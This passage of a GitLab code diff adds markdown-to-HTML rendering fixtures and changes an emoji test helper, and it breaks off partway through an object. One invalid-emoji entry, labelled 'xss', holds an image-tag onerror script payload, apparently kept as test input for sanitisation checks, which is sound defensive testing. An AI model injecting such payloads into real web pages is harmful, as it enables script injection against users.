+ <li data-sourcepos="4:1-4:44"><span class="media-container video-container"><video src="https://gitlab.com/1.mp4" controls="true" data-setup="{}" data-title="Sample Video" width="400" preload="metadata"></video><a href="https://gitlab.com/1.mp4" target="_blank" rel="nofollow noreferrer noopener" title="Download 'Sample Video'">Sample Video</a></span></li>
+ <li data-sourcepos="5:1-6:0"><span class="media-container audio-container"><audio src="https://gitlab.com/2.mp3" controls="true" data-setup="{}" data-title="Sample Audio"></audio><a href="https://gitlab.com/2.mp3" target="_blank" rel="nofollow noreferrer noopener" title="Download 'Sample Audio'">Sample Audio</a></span></li>
+ </ol>
+ <ul data-sourcepos="7:1-9:47" class="task-list" dir="auto">
+ <li data-sourcepos="7:1-7:47" class="task-list-item">
+ <input type="checkbox" class="task-list-item-checkbox" checked disabled> <span class="media-container audio-container"><audio src="https://gitlab.com/1.mp3" controls="true" data-setup="{}" data-title="Sample Audio"></audio><a href="https://gitlab.com/1.mp3" target="_blank" rel="nofollow noreferrer noopener" title="Download 'Sample Audio'">Sample Audio</a></span>
+ </li>
+ <li data-sourcepos="8:1-8:47" class="task-list-item">
+ <input type="checkbox" class="task-list-item-checkbox" checked disabled> <span class="media-container audio-container"><audio src="https://gitlab.com/2.mp3" controls="true" data-setup="{}" data-title="Sample Audio"></audio><a href="https://gitlab.com/2.mp3" target="_blank" rel="nofollow noreferrer noopener" title="Download 'Sample Audio'">Sample Audio</a></span>
+ </li>
+ <li data-sourcepos="9:1-9:47" class="task-list-item">
+ <input type="checkbox" class="task-list-item-checkbox" checked disabled> <span class="media-container video-container"><video src="https://gitlab.com/3.mp4" controls="true" data-setup="{}" data-title="Sample Video" width="400" preload="metadata"></video><a href="https://gitlab.com/3.mp4" target="_blank" rel="nofollow noreferrer noopener" title="Download 'Sample Video'">Sample Video</a></span>
+ </li>
+ </ul>
+
+- name: blockquote
+ markdown: |-
+ > This is a blockquote
+ >
+ > This is another one
+ html: |-
+ <blockquote data-sourcepos="1:1-3:21" dir="auto">
+ <p data-sourcepos="1:3-1:22">This is a blockquote</p>
+ <p data-sourcepos="3:3-3:21">This is another one</p>
+ </blockquote>
+
+- name: bold
+ markdown: |-
+ **bold**
+ html: |-
+ <p data-sourcepos="1:1-1:8" dir="auto"><strong>bold</strong></p>
+
+- name: bullet_list_style_1
+ markdown: |-
+ * list item 1
+ * list item 2
+ * embedded list item 3
+ html: |-
+ <ul data-sourcepos="1:1-3:24" dir="auto">
+ <li data-sourcepos="1:1-1:13">list item 1</li>
+ <li data-sourcepos="2:1-3:24">list item 2
+ <ul data-sourcepos="3:3-3:24">
+ <li data-sourcepos="3:3-3:24">embedded list item 3</li>
+ </ul>
+ </li>
+ </ul>
+
+- name: bullet_list_style_2
+ markdown: |-
+ - list item 1
+ - list item 2
+ * embedded list item 3
+ html: |-
+ <ul data-sourcepos="1:1-3:24" dir="auto">
+ <li data-sourcepos="1:1-1:13">list item 1</li>
+ <li data-sourcepos="2:1-3:24">list item 2
+ <ul data-sourcepos="3:3-3:24">
+ <li data-sourcepos="3:3-3:24">embedded list item 3</li>
+ </ul>
+ </li>
+ </ul>
+
+- name: bullet_list_style_3
+ markdown: |-
+ + list item 1
+ + list item 2
+ - embedded list item 3
+ html: |-
+ <ul data-sourcepos="1:1-3:24" dir="auto">
+ <li data-sourcepos="1:1-1:13">list item 1</li>
+ <li data-sourcepos="2:1-3:24">list item 2
+ <ul data-sourcepos="3:3-3:24">
+ <li data-sourcepos="3:3-3:24">embedded list item 3</li>
+ </ul>
+ </li>
+ </ul>
+
+- name: code_block
+ markdown: |-
+ ```javascript
+ console.log('hello world')
+ ```
+ html: |-
+ <div class="gl-relative markdown-code-block js-markdown-code">
+ <pre data-sourcepos="1:1-3:3" class="code highlight js-syntax-highlight language-javascript" lang="javascript" v-pre="true"><code><span id="LC1" class="line" lang="javascript"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">hello world</span><span class="dl">'</span><span class="p">)</span></span></code></pre>
+ <copy-code></copy-code>
+ </div>
+
+- name: color_chips
+ markdown: |-
+ - `#F00`
+ - `#F00A`
+ - `#FF0000`
+ - `#FF0000AA`
+ - `RGB(0,255,0)`
+ - `RGB(0%,100%,0%)`
+ - `RGBA(0,255,0,0.3)`
+ - `HSL(540,70%,50%)`
+ - `HSLA(540,70%,50%,0.3)`
+ html: |-
+ <ul data-sourcepos="1:1-9:25" dir="auto">
+ <li data-sourcepos="1:1-1:8"><code>#F00<span class="gfm-color_chip"><span style="background-color: #F00;"></span></span></code></li>
+ <li data-sourcepos="2:1-2:9"><code>#F00A<span class="gfm-color_chip"><span style="background-color: #F00A;"></span></span></code></li>
+ <li data-sourcepos="3:1-3:11"><code>#FF0000<span class="gfm-color_chip"><span style="background-color: #FF0000;"></span></span></code></li>
+ <li data-sourcepos="4:1-4:13"><code>#FF0000AA<span class="gfm-color_chip"><span style="background-color: #FF0000AA;"></span></span></code></li>
+ <li data-sourcepos="5:1-5:16"><code>RGB(0,255,0)<span class="gfm-color_chip"><span style="background-color: RGB(0,255,0);"></span></span></code></li>
+ <li data-sourcepos="6:1-6:19"><code>RGB(0%,100%,0%)<span class="gfm-color_chip"><span style="background-color: RGB(0%,100%,0%);"></span></span></code></li>
+ <li data-sourcepos="7:1-7:21"><code>RGBA(0,255,0,0.3)<span class="gfm-color_chip"><span style="background-color: RGBA(0,255,0,0.3);"></span></span></code></li>
+ <li data-sourcepos="8:1-8:20"><code>HSL(540,70%,50%)<span class="gfm-color_chip"><span style="background-color: HSL(540,70%,50%);"></span></span></code></li>
+ <li data-sourcepos="9:1-9:25"><code>HSLA(540,70%,50%,0.3)<span class="gfm-color_chip"><span style="background-color: HSLA(540,70%,50%,0.3);"></span></span></code></li>
+ </ul>
+
+- name: description_list
+ markdown: |-
+ <dl>
+ <dt>Frog</dt>
+ <dd>Wet green thing</dd>
+ <dt>Rabbit</dt>
+ <dd>Warm fluffy thing</dd>
+ <dt>Punt</dt>
+ <dd>Kick a ball</dd>
+ <dd>Take a bet</dd>
+ <dt>Color</dt>
+ <dt>Colour</dt>
+ <dd>
+
+ Any hue except _white_ or **black**
+
+ </dd>
+ </dl>
+ html: |-
+ <dl>
+ <dt>Frog</dt>
+ <dd>Wet green thing</dd>
+ <dt>Rabbit</dt>
+ <dd>Warm fluffy thing</dd>
+ <dt>Punt</dt>
+ <dd>Kick a ball</dd>
+ <dd>Take a bet</dd>
+ <dt>Color</dt>
+ <dt>Colour</dt>
+ <dd>
+ <p data-sourcepos="13:1-13:35">Any hue except <em>white</em> or <strong>black</strong></p>
+ </dd>
+ </dl>
+
+- name: details
+ markdown: |-
+ <details>
+ <summary>This is the visible summary of the collapsible section</summary>
+
+ 1. collapsed markdown
+ 2. more collapsed markdown
+
+ </details>
+ html: |-
+ <details>
+ <summary>This is the visible summary of the collapsible section</summary>
+ <ol data-sourcepos="4:1-6:0">
+ <li data-sourcepos="4:1-4:21">collapsed markdown</li>
+ <li data-sourcepos="5:1-6:0">more collapsed markdown</li>
+ </ol>
+ </details>
+
+- name: div
+ markdown: |-
+ <div>plain text</div>
+ <div>
+
+ just a plain ol' div, not much to _expect_!
+
+ </div>
+ html: |-
+ <div>plain text</div>
+ <div>
+ <p data-sourcepos="4:1-4:43">just a plain ol' div, not much to <em>expect</em>!</p>
+ </div>
+
+- name: emoji
+ markdown: |-
+ :sparkles: :heart: :100:
+ html: |-
+ <p data-sourcepos="1:1-1:24" dir="auto"><gl-emoji title="sparkles" data-name="sparkles" data-unicode-version="6.0">✨</gl-emoji> <gl-emoji title="heavy black heart" data-name="heart" data-unicode-version="1.1">â¤</gl-emoji> <gl-emoji title="hundred points symbol" data-name="100" data-unicode-version="6.0">💯</gl-emoji></p>
+
+- name: emphasis
+ markdown: _emphasized text_
+ html: <p data-sourcepos="1:1-1:17" dir="auto"><em>emphasized text</em></p>
+
+- name: figure
+ markdown: |-
+ <figure>
+
+ ![Elephant at sunset](elephant-sunset.jpg)
+
+ <figcaption>An elephant at sunset</figcaption>
+ </figure>
+ <figure>
+
+ ![A crocodile wearing crocs](croc-crocs.jpg)
+
+ <figcaption>
+
+ A crocodile wearing _crocs_!
+
+ </figcaption>
+ </figure>
+ html: |-
+ <figure>
+ <p data-sourcepos="3:1-3:42"><a class="no-attachment-icon" href="elephant-sunset.jpg" target="_blank" rel="noopener noreferrer"><img src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="Elephant at sunset" class="lazy" data-src="elephant-sunset.jpg"></a></p>
+ <figcaption>An elephant at sunset</figcaption>
+ </figure>
+ <figure>
+ <p data-sourcepos="9:1-9:44"><a class="no-attachment-icon" href="croc-crocs.jpg" target="_blank" rel="noopener noreferrer"><img src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="A crocodile wearing crocs" class="lazy" data-src="croc-crocs.jpg"></a></p>
+ <figcaption>
+ <p data-sourcepos="13:1-13:28">A crocodile wearing <em>crocs</em>!</p>
+ </figcaption>
+ </figure>
+
+- name: footnotes
+ substitutions:
+ # NOTE: We don't care about verifying specific attribute values here, that should be the
+ # responsibility of unit tests. These tests are about the structure of the HTML.
+ fn_href_substitution:
+ - regex: '(href)(=")(.+?)(")'
+ replacement: '\1\2REF\4'
+ footnote_id_substitution:
+ - regex: '(id)(=")(.+?)(")'
+ replacement: '\1\2ID\4'
+
+ pending:
+ backend: https://gitlab.com/gitlab-org/gitlab/-/issues/346591
+ markdown: |-
+ A footnote reference tag looks like this: [^1]
+
+ This reference tag is a mix of letters and numbers. [^2]
+
+ [^1]: This is the text inside a footnote.
+ [^2]: This is another footnote.
+ html: |-
+ <p data-sourcepos="1:1-1:46" dir="auto">A footnote reference tag looks like this: <sup class="footnote-ref"><a href="#fn-1-2717" id="fnref-1-2717" data-footnote-ref="">1</a></sup></p>
+ <p data-sourcepos="3:1-3:56" dir="auto">This reference tag is a mix of letters and numbers. <sup class="footnote-ref"><a href="#fn-2-2717" id="fnref-2-2717" data-footnote-ref="">2</a></sup></p>
+ <section class="footnotes" data-footnotes><ol>
+ <li id="fn-1-2717">
+ <p data-sourcepos="5:7-5:41">This is the text inside a footnote. <a href="#fnref-1-2717" aria-label="Back to content" class="footnote-backref" data-footnote-backref=""><gl-emoji title="leftwards arrow with hook" data-name="leftwards_arrow_with_hook" data-unicode-version="1.1">↩</gl-emoji></a></p>
+ </li>
+ <li id="fn-2-2717">
+ <p data-sourcepos="6:7-6:31">This is another footnote. <a href="#fnref-2-2717" aria-label="Back to content" class="footnote-backref" data-footnote-backref=""><gl-emoji title="leftwards arrow with hook" data-name="leftwards_arrow_with_hook" data-unicode-version="1.1">↩</gl-emoji></a></p>
+ </li>
+ </ol></section>
+
+- name: frontmatter_json
+ markdown: |-
+ ;;;
+ {
+ "title": "Page title"
+ }
+ ;;;
+ html: |-
+ <div class="gl-relative markdown-code-block js-markdown-code">
+ <pre data-sourcepos="1:1-5:3" class="code highlight js-syntax-highlight language-json" lang="json" data-lang-params="frontmatter" v-pre="true"><code><span id="LC1" class="line" lang="json"><span class="p">{</span></span>
+ <span id="LC2" class="line" lang="json"><span class="w"> </span><span class="nl">"title"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Page title"</span></span>
+ <span id="LC3" class="line" lang="json"><span class="p">}</span></span></code></pre>
+ <copy-code></copy-code>
+ </div>
+
+- name: frontmatter_toml
+ markdown: |-
+ +++
+ title = "Page title"
+ +++
+ html: |-
+ <div class="gl-relative markdown-code-block js-markdown-code">
+ <pre data-sourcepos="1:1-3:3" class="code highlight js-syntax-highlight language-toml" lang="toml" data-lang-params="frontmatter" v-pre="true"><code><span id="LC1" class="line" lang="toml"><span class="py">title</span> <span class="p">=</span> <span class="s">"Page title"</span></span></code></pre>
+ <copy-code></copy-code>
+ </div>
+
+- name: frontmatter_yaml
+ markdown: |-
+ ---
+ title: Page title
+ ---
+ html: |-
+ <div class="gl-relative markdown-code-block js-markdown-code">
+ <pre data-sourcepos="1:1-3:3" class="code highlight js-syntax-highlight language-yaml" lang="yaml" data-lang-params="frontmatter" v-pre="true"><code><span id="LC1" class="line" lang="yaml"><span class="na">title</span><span class="pi">:</span> <span class="s">Page title</span></span></code></pre>
+ <copy-code></copy-code>
+ </div>
+
+- name: hard_break
+ markdown: |-
+ This is a line after a\
+ hard break
+ html: |-
+ <p data-sourcepos="1:1-2:10" dir="auto">This is a line after a<br>
+ hard break</p>
+
+- name: headings
+ markdown: |-
+ # Heading 1
+
+ ## Heading 2
+
+ ### Heading 3
+
+ #### Heading 4
+
+ ##### Heading 5
+
+ ###### Heading 6
+ html: |-
+ <h1 data-sourcepos="1:1-1:11" dir="auto">
+ <a id="user-content-heading-1" class="anchor" href="#heading-1" aria-hidden="true"></a>Heading 1</h1>
+ <h2 data-sourcepos="3:1-3:12" dir="auto">
+ <a id="user-content-heading-2" class="anchor" href="#heading-2" aria-hidden="true"></a>Heading 2</h2>
+ <h3 data-sourcepos="5:1-5:13" dir="auto">
+ <a id="user-content-heading-3" class="anchor" href="#heading-3" aria-hidden="true"></a>Heading 3</h3>
+ <h4 data-sourcepos="7:1-7:14" dir="auto">
+ <a id="user-content-heading-4" class="anchor" href="#heading-4" aria-hidden="true"></a>Heading 4</h4>
+ <h5 data-sourcepos="9:1-9:15" dir="auto">
+ <a id="user-content-heading-5" class="anchor" href="#heading-5" aria-hidden="true"></a>Heading 5</h5>
+ <h6 data-sourcepos="11:1-11:16" dir="auto">
+ <a id="user-content-heading-6" class="anchor" href="#heading-6" aria-hidden="true"></a>Heading 6</h6>
+
+- name: horizontal_rule
+ markdown: |-
+ ---
+ html: |-
+ <hr data-sourcepos="1:1-1:3">
+
+- name: html_marks
+ markdown: |-
+ * Content editor is ~~great~~<ins>amazing</ins>.
+ * If the changes <abbr title="Looks good to merge">LGTM</abbr>, please <abbr title="Merge when pipeline succeeds">MWPS</abbr>.
+ * The English song <q>Oh I do like to be beside the seaside</q> looks like this in Hebrew: <span dir="rtl">××”, ×× ×™ ×והב להיות ליד חוף ×”×™×</span>. In the computer's memory, this is stored as <bdo dir="ltr">××”, ×× ×™ ×והב להיות ליד חוף ×”×™×</bdo>.
+ * <cite>The Scream</cite> by Edvard Munch. Painted in 1893.
+ * <dfn>HTML</dfn> is the standard markup language for creating web pages.
+ * Do not forget to buy <mark>milk</mark> today.
+ * This is a paragraph and <small>smaller text goes here</small>.
+ * The concert starts at <time datetime="20:00">20:00</time> and you'll be able to enjoy the band for at least <time datetime="PT2H30M">2h 30m</time>.
+ * Press <kbd>Ctrl</kbd> + <kbd>C</kbd> to copy text (Windows).
+ * WWF's goal is to: <q>Build a future where people live in harmony with nature.</q> We hope they succeed.
+ * The error occured was: <samp>Keyboard not found. Press F1 to continue.</samp>
+ * The area of a triangle is: 1/2 x <var>b</var> x <var>h</var>, where <var>b</var> is the base, and <var>h</var> is the vertical height.
+ * <ruby>æ¼¢<rt>ã„ㄢˋ</rt></ruby>
+ * C<sub>7</sub>H<sub>16</sub> + O<sub>2</sub> → CO<sub>2</sub> + H<sub>2</sub>O
+ * The **Pythagorean theorem** is often expressed as <var>a<sup>2</sup></var> + <var>b<sup>2</sup></var> = <var>c<sup>2</sup></var>
+ html: |-
+ <ul data-sourcepos="1:1-15:130" dir="auto">
+ <li data-sourcepos="1:1-1:48">Content editor is <del>great</del><ins>amazing</ins>.</li>
+ <li data-sourcepos="2:1-2:126">If the changes <abbr title="Looks good to merge">LGTM</abbr>, please <abbr title="Merge when pipeline succeeds">MWPS</abbr>.</li>
+ <li data-sourcepos="3:1-3:288">The English song <q>Oh I do like to be beside the seaside</q> looks like this in Hebrew: <span dir="rtl">××”, ×× ×™ ×והב להיות ליד חוף ×”×™×</span>. In the computer's memory, this is stored as <bdo dir="ltr">××”, ×× ×™ ×והב להיות ליד חוף ×”×™×</bdo>.</li>
+ <li data-sourcepos="4:1-4:59">
+ <cite>The Scream</cite> by Edvard Munch. Painted in 1893.</li>
+ <li data-sourcepos="5:1-5:73">
+ <dfn>HTML</dfn> is the standard markup language for creating web pages.</li>
+ <li data-sourcepos="6:1-6:47">Do not forget to buy <mark>milk</mark> today.</li>
+ <li data-sourcepos="7:1-7:64">This is a paragraph and <small>smaller text goes here</small>.</li>
+ <li data-sourcepos="8:1-8:149">The concert starts at <time datetime="20:00">20:00</time> and you'll be able to enjoy the band for at least <time datetime="PT2H30M">2h 30m</time>.</li>
+ <li data-sourcepos="9:1-9:62">Press <kbd>Ctrl</kbd> + <kbd>C</kbd> to copy text (Windows).</li>
+ <li data-sourcepos="10:1-10:105">WWF's goal is to: <q>Build a future where people live in harmony with nature.</q> We hope they succeed.</li>
+ <li data-sourcepos="11:1-11:79">The error occured was: <samp>Keyboard not found. Press F1 to continue.</samp>
+ </li>
+ <li data-sourcepos="12:1-12:136">The area of a triangle is: 1/2 x <var>b</var> x <var>h</var>, where <var>b</var> is the base, and <var>h</var> is the vertical height.</li>
+ <li data-sourcepos="13:1-13:35"><ruby>æ¼¢<rt>ã„ㄢˋ</rt></ruby></li>
+ <li data-sourcepos="14:1-14:81">C<sub>7</sub>H<sub>16</sub> + O<sub>2</sub> → CO<sub>2</sub> + H<sub>2</sub>O</li>
+ <li data-sourcepos="15:1-15:130">The <strong>Pythagorean theorem</strong> is often expressed as <var>a<sup>2</sup></var> + <var>b<sup>2</sup></var> = <var>c<sup>2</sup></var>
+ </li>
+ </ul>
+
+- name: image
+ markdown: |-
+ ![alt text](https://gitlab.com/logo.png)
+ html: |-
+ <p data-sourcepos="1:1-1:40" dir="auto"><a class="no-attachment-icon" href="https://gitlab.com/logo.png" target="_blank" rel="nofollow noreferrer noopener"><img src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="alt text" class="lazy" data-src="https://gitlab.com/logo.png"></a></p>
+
+- name: inline_code
+ markdown: |-
+ `code`
+ html: |-
+ <p data-sourcepos="1:1-1:6" dir="auto"><code>code</code></p>
+
+- name: inline_diff
+ markdown: |-
+ * {-deleted-}
+ * {+added+}
+ html: |-
+ <ul data-sourcepos="1:1-2:11" dir="auto">
+ <li data-sourcepos="1:1-1:13"><span class="idiff left right deletion">deleted</span></li>
+ <li data-sourcepos="2:1-2:11"><span class="idiff left right addition">added</span></li>
+ </ul>
+
+- name: label
+ pending:
+ # TODO: There is an error with the frontend HTML to markdown spec adding a double escape (\\) to the label tilde.
+ frontend: 'There is an error with the frontend HTML to markdown spec adding a double escape (\\) to the label tilde.'
+ markdown: |-
+ ~bug
+ html: |-
+ <p data-sourcepos="1:1-1:4" dir="auto">~bug</p>
+
+- name: link
+ markdown: |-
+ [GitLab](https://gitlab.com)
+ html: |-
+ <p data-sourcepos="1:1-1:28" dir="auto"><a href="https://gitlab.com" rel="nofollow noreferrer noopener" target="_blank">GitLab</a></p>
+
+- name: math
+ markdown: |-
+ This math is inline $`a^2+b^2=c^2`$.
+
+ This is on a separate line:
+
+ ```math
+ a^2+b^2=c^2
+ ```
+ html: |-
+ <p data-sourcepos="1:1-1:36" dir="auto">This math is inline <code class="code math js-render-math" data-math-style="inline">a^2+b^2=c^2</code>.</p>
+ <p data-sourcepos="3:1-3:27" dir="auto">This is on a separate line:</p>
+ <div class="gl-relative markdown-code-block js-markdown-code">
+ <pre data-sourcepos="5:1-7:3" class="code highlight js-syntax-highlight language-math js-render-math" lang="math" v-pre="true" data-math-style="display"><code><span id="LC1" class="line" lang="math">a^2+b^2=c^2</span></code></pre>
+ <copy-code></copy-code>
+ </div>
+
+- name: ordered_list
+ markdown: |-
+ 1. list item 1
+ 2. list item 2
+ 3. list item 3
+ html: |-
+ <ol data-sourcepos="1:1-3:14" dir="auto">
+ <li data-sourcepos="1:1-1:14">list item 1</li>
+ <li data-sourcepos="2:1-2:14">list item 2</li>
+ <li data-sourcepos="3:1-3:14">list item 3</li>
+ </ol>
+
+- name: ordered_list_with_start_order
+ markdown: |-
+ 134. list item 1
+ 135. list item 2
+ 136. list item 3
+ html: |-
+ <ol start="134" data-sourcepos="1:1-3:16" dir="auto">
+ <li data-sourcepos="1:1-1:16">list item 1</li>
+ <li data-sourcepos="2:1-2:16">list item 2</li>
+ <li data-sourcepos="3:1-3:16">list item 3</li>
+ </ol>
+
+- name: ordered_task_list
+ markdown: |-
+ 1. [x] hello
+ 2. [x] world
+ 3. [ ] example
+ 1. [ ] of nested
+ 1. [x] task list
+ 2. [ ] items
+ html: |-
+ <ol data-sourcepos="1:1-6:18" class="task-list" dir="auto">
+ <li data-sourcepos="1:1-1:12" class="task-list-item">
+ <input type="checkbox" class="task-list-item-checkbox" checked disabled> hello</li>
+ <li data-sourcepos="2:1-2:12" class="task-list-item">
+ <input type="checkbox" class="task-list-item-checkbox" checked disabled> world</li>
+ <li data-sourcepos="3:1-6:18" class="task-list-item">
+ <input type="checkbox" class="task-list-item-checkbox" disabled> example
+ <ol data-sourcepos="4:4-6:18" class="task-list">
+ <li data-sourcepos="4:4-6:18" class="task-list-item">
+ <input type="checkbox" class="task-list-item-checkbox" disabled> of nested
+ <ol data-sourcepos="5:7-6:18" class="task-list">
+ <li data-sourcepos="5:7-5:22" class="task-list-item">
+ <input type="checkbox" class="task-list-item-checkbox" checked disabled> task list</li>
+ <li data-sourcepos="6:7-6:18" class="task-list-item">
+ <input type="checkbox" class="task-list-item-checkbox" disabled> items</li>
+ </ol>
+ </li>
+ </ol>
+ </li>
+ </ol>
+
+- name: ordered_task_list_with_order
+ markdown: |-
+ 4893. [x] hello
+ 4894. [x] world
+ 4895. [ ] example
+ html: |-
+ <ol start="4893" data-sourcepos="1:1-3:17" class="task-list" dir="auto">
+ <li data-sourcepos="1:1-1:15" class="task-list-item">
+ <input type="checkbox" class="task-list-item-checkbox" checked disabled> hello</li>
+ <li data-sourcepos="2:1-2:15" class="task-list-item">
+ <input type="checkbox" class="task-list-item-checkbox" checked disabled> world</li>
+ <li data-sourcepos="3:1-3:17" class="task-list-item">
+ <input type="checkbox" class="task-list-item-checkbox" disabled> example</li>
+ </ol>
+
+- name: reference_for_project_wiki
+ api_context: project_wiki
+ substitutions:
+ # NOTE: We don't care about verifying specific attribute values here, that should be the
+ # responsibility of unit tests. These tests are about the structure of the HTML.
+ uri_substitution: *uri_substitution
+ data_attribute_id_substitution:
+ - regex: '(data-user|data-project|data-issue|data-iid|data-merge-request|data-milestone)(=")(\d+?)(")'
+ replacement: '\1\2ID\4'
+ text_attribute_substitution:
+ - regex: '(title)(=")(.+?)(")'
+ replacement: '\1\2TEXT\4'
+ path_attribute_id_substitution:
+ - regex: '(group|project)(\d+)'
+ replacement: '\1ID'
+ markdown: |-
+ Hi @gfm_user - thank you for reporting this bug (#1) we hope to fix it in %1.1 as part of !1
+ html: |-
+ <p data-sourcepos="1:1-1:92" dir="auto">Hi <a href="/gfm_user" data-user="1" data-reference-type="user" data-container="body" data-placement="top" class="gfm gfm-project_member js-user-link" title="John Doe1">@gfm_user</a> - thank you for reporting this bug (<a href="/group1/project1/-/issues/1" data-original="#1" data-link="false" data-link-reference="false" data-project="11" data-issue="11" data-reference-type="issue" data-container="body" data-placement="top" title="My title 1" class="gfm gfm-issue has-tooltip">#1</a>) we hope to fix it in <a href="/group1/project1/-/milestones/1" data-original="%1.1" data-link="false" data-link-reference="false" data-project="11" data-milestone="11" data-reference-type="milestone" data-container="body" data-placement="top" title="" class="gfm gfm-milestone has-tooltip">%1.1</a> as part of <a href="/group1/project1/-/merge_requests/1" data-original="!1" data-link="false" data-link-reference="false" data-project="11" data-merge-request="11" data-project-path="group1/project1" data-iid="1" data-mr-title="My title 2" data-reference-type="merge_request" data-container="body" data-placement="top" title="" class="gfm gfm-merge_request">!1</a></p>
+- name: strike
+ markdown: |-
+ ~~del~~
+ html: |-
+ <p data-sourcepos="1:1-1:7" dir="auto"><del>del</del></p>
+
+- name: table
+ markdown: |-
+ | header | header |
+ |--------|--------|
+ | `code` | cell with **bold** |
+ | ~~strike~~ | cell with _italic_ |
+
+ # content after table
+ html: |-
+ <table data-sourcepos="1:1-4:35" dir="auto">
+ <thead>
+ <tr data-sourcepos="1:1-1:19">
+ <th data-sourcepos="1:2-1:9">header</th>
+ <th data-sourcepos="1:11-1:18">header</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr data-sourcepos="3:1-3:31">
+ <td data-sourcepos="3:2-3:9"><code>code</code></td>
+ <td data-sourcepos="3:11-3:30">cell with <strong>bold</strong>
+ </td>
+ </tr>
+ <tr data-sourcepos="4:1-4:35">
+ <td data-sourcepos="4:2-4:13"><del>strike</del></td>
+ <td data-sourcepos="4:15-4:34">cell with <em>italic</em>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ <h1 data-sourcepos="6:1-6:21" dir="auto">
+ <a id="user-content-content-after-table" class="anchor" href="#content-after-table" aria-hidden="true"></a>content after table</h1>
+
+- name: table_of_contents
+ markdown: |-
+ [[_TOC_]]
+
+ # Lorem
+
+ Well, that's just like... your opinion.. man.
+
+ ## Ipsum
+
+ ### Dolar
+
+ # Sit amit
+
+ ### I don't know
+ html: |-
+ <ul class="section-nav">
+ <li>
+ <a href="#lorem">Lorem</a><ul><li>
+ <a href="#ipsum">Ipsum</a><ul><li><a href="#dolar">Dolar</a></li></ul>
+ </li></ul>
+ </li>
+ <li>
+ <a href="#sit-amit">Sit amit</a><ul><li><a href="#i-dont-know">I don't know</a></li></ul>
+ </li>
+ </ul>
+ <h1 data-sourcepos="3:1-3:7" dir="auto">
+ <a id="user-content-lorem" class="anchor" href="#lorem" aria-hidden="true"></a>Lorem</h1>
+ <p data-sourcepos="5:1-5:45" dir="auto">Well, that's just like... your opinion.. man.</p>
+ <h2 data-sourcepos="7:1-7:8" dir="auto">
+ <a id="user-content-ipsum" class="anchor" href="#ipsum" aria-hidden="true"></a>Ipsum</h2>
+ <h3 data-sourcepos="9:1-9:9" dir="auto">
+ <a id="user-content-dolar" class="anchor" href="#dolar" aria-hidden="true"></a>Dolar</h3>
+ <h1 data-sourcepos="11:1-11:10" dir="auto">
+ <a id="user-content-sit-amit" class="anchor" href="#sit-amit" aria-hidden="true"></a>Sit amit</h1>
+ <h3 data-sourcepos="13:1-13:16" dir="auto">
+ <a id="user-content-i-dont-know" class="anchor" href="#i-dont-know" aria-hidden="true"></a>I don't know</h3>
+
+- name: task_list
+ markdown: |-
+ * [x] hello
+ * [x] world
+ * [ ] example
+ * [ ] of nested
+ * [x] task list
+ * [ ] items
+ html: |-
+ <ul data-sourcepos="1:1-6:15" class="task-list" dir="auto">
+ <li data-sourcepos="1:1-1:11" class="task-list-item">
+ <input type="checkbox" class="task-list-item-checkbox" checked disabled> hello</li>
+ <li data-sourcepos="2:1-2:11" class="task-list-item">
+ <input type="checkbox" class="task-list-item-checkbox" checked disabled> world</li>
+ <li data-sourcepos="3:1-6:15" class="task-list-item">
+ <input type="checkbox" class="task-list-item-checkbox" disabled> example
+ <ul data-sourcepos="4:3-6:15" class="task-list">
+ <li data-sourcepos="4:3-6:15" class="task-list-item">
+ <input type="checkbox" class="task-list-item-checkbox" disabled> of nested
+ <ul data-sourcepos="5:5-6:15" class="task-list">
+ <li data-sourcepos="5:5-5:19" class="task-list-item">
+ <input type="checkbox" class="task-list-item-checkbox" checked disabled> task list</li>
+ <li data-sourcepos="6:5-6:15" class="task-list-item">
+ <input type="checkbox" class="task-list-item-checkbox" disabled> items</li>
+ </ul>
+ </li>
+ </ul>
+ </li>
+ </ul>
+
+- name: video
+ markdown: |-
+ ![Sample Video](https://gitlab.com/gitlab.mp4)
+ html: |-
+ <p data-sourcepos="1:1-1:46" dir="auto"><span class="media-container video-container"><video src="https://gitlab.com/gitlab.mp4" controls="true" data-setup="{}" data-title="Sample Video" width="400" preload="metadata"></video><a href="https://gitlab.com/gitlab.mp4" target="_blank" rel="nofollow noreferrer noopener" title="Download 'Sample Video'">Sample Video</a></span></p>
+
+- name: word_break
+ markdown: Fernstraßen<wbr>bau<wbr>privat<wbr>finanzierungs<wbr>gesetz
+ html: <p data-sourcepos="1:1-1:60" dir="auto">Fernstraßen<wbr>bau<wbr>privat<wbr>finanzierungs<wbr>gesetz</wbr></wbr></wbr></wbr></p>
diff --git a/spec/fixtures/packages/generic/myfile.zip b/spec/fixtures/packages/generic/myfile.zip
new file mode 100644
index 00000000000..6048bd2f246
--- /dev/null
+++ b/spec/fixtures/packages/generic/myfile.zip
Binary files differ
diff --git a/spec/frontend/__helpers__/emoji.js b/spec/frontend/__helpers__/emoji.js
index a64135601ae..014a7854024 100644
--- a/spec/frontend/__helpers__/emoji.js
+++ b/spec/frontend/__helpers__/emoji.js
@@ -1,8 +1,7 @@
-import MockAdapter from 'axios-mock-adapter';
import { initEmojiMap, EMOJI_VERSION } from '~/emoji';
-import axios from '~/lib/utils/axios_utils';
+import { CACHE_VERSION_KEY, CACHE_KEY } from '~/emoji/constants';
-export const emojiFixtureMap = {
+export const validEmoji = {
atom: {
moji: 'âš›',
description: 'atom symbol',
@@ -49,11 +48,39 @@ export const emojiFixtureMap = {
unicodeVersion: '5.1',
description: 'white medium star',
},
+ gay_pride_flag: {
+ moji: 'ðŸ³ï¸â€ðŸŒˆ',
+ unicodeVersion: '7.0',
+ description: 'because it contains a zero width joiner',
+ },
+ family_mmb: {
+ moji: '👨â€ðŸ‘¨â€ðŸ‘¦',
+ unicodeVersion: '6.0',
+ description: 'because it contains multiple zero width joiners',
+ },
+};
+
+export const invalidEmoji = {
xss: {
moji: '<img src=x onerror=prompt(1)>',
unicodeVersion: '5.1',
description: 'xss',
},
+ non_moji: {
+ moji: 'I am not an emoji...',
